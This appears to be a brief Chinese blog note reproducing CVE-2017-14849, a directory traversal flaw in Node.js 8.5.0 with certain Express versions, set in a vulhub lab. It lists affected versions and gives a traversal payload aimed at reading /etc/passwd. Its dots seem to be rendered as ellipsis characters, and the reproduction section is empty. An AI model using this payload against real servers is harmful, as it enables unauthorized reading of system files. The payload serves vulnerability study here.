CVE-2017-14849复现

CVE-2017-14849复现

cve描述
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to “…” handling was incompatible with the pathname validation used by unspecified community modules.
意思是
node.js 8.5.0 到8.6.0 之间的版本会造成目录穿越漏洞,对…处理不好

影响版本
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
Express是基于 Node.js 平台,快速、开放、极简的 web 开发框架。

根据代码的不同payload需要进行一定的变化
app.use(express.static(path.join(__dirname, ‘static’)));
app.use(’/static’,express.static(path.join(__dirname, ‘static’)));
(/static)/…/…/…/a/…/…/…/…/etc/passwd

使用的环境是vulhub
复现过程
CVE-2017-14849复现